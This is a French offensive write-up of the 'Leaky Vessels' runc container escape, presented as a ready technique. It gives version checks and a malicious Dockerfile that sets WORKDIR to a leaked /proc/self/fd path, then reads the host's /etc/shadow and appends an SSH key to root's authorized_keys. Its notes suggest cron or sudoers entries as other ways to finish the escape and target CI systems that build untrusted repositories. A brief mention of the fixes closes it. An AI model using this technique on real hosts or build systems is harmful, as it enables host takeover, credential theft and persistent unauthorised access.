Leaky Vessels est le nom d'un ensemble d'évasions de conteneur fondées sur la même erreur : le runtime laisse un descripteur de fichier ou un chemin se référant au système de fichiers de l'hôte accessible au processus conteneurisé au moment de son démarrage. Dans runc, un descripteur de fichier interne vers un répertoire de l'hôte n'était pas fermé avant l'exécution du processus conteneurisé, de sorte qu'un conteneur dont le répertoire de travail était défini sur /proc/self/fd/<n> atterrissait dans un répertoire de l'hôte plutôt que dans celui du conteneur. Le conteneur lisait et écrivait alors des fichiers de l'hôte, et comme le processus s'exécutait pendant la configuration du conteneur avec le contexte de l'hôte, il escaladait vers root sur l'hôte. Des problèmes connexes affectaient l'outillage de build Docker, où un WORKDIR ou un chemin de montage se résolvait par rapport à l'hôte.
Confirmez la fenêtre de versions du runtime :
runc --version 2>/dev/null # pre-1.1.12 runc is affected
docker version 2>/dev/null | grep -i buildkit
Technique#
# A malicious image sets its working directory to a leaked host-fd path.
# runc leaks an fd to a host directory; /proc/self/fd/<n> resolves to the host.
WORKDIR /proc/self/fd/7
# The entry process now starts with its cwd on the host filesystem:
RUN cd / && cat etc/shadow && \
echo 'ssh-ed25519 AAAA... a' >> root/.ssh/authorized_keys
Au moment du build ou de l'exécution, le processus conteneurisé démarre avec son répertoire courant à l'intérieur du système de fichiers de l'hôte via le descripteur ayant fui, de sorte que des opérations de fichiers ordinaires en chemin relatif touchent des fichiers de l'hôte. Écrire une tâche cron, une entrée sudoers ou une clé SSH complète l'évasion ; le numéro exact du descripteur ayant fui se découvre en énumérant /proc/self/fd pour en trouver un dont la cible est un chemin de l'hôte.
ls -l /proc/self/fd/ # find a descriptor pointing at a host directory
Notes d'exploitation#
- L'évasion est délivrée via une image ou un build forgés, c'est donc un risque partout où des Dockerfiles ou des images non fiables sont construits ou exécutés, y compris les systèmes de CI qui construisent des dépôts fournis par les utilisateurs.
- Le descripteur ayant fui est le pivot : énumérez
/proc/self/fdau démarrage du processus et identifiez-en un se résolvant en dehors du rootfs du conteneur, puis utilisez des chemins relatifs à partir de celui-ci. - Les correctifs ferment les descripteurs incriminés avec
O_CLOEXECet valident la résolution du répertoire de travail ; unruncet un BuildKit corrigés mettent la technique en échec.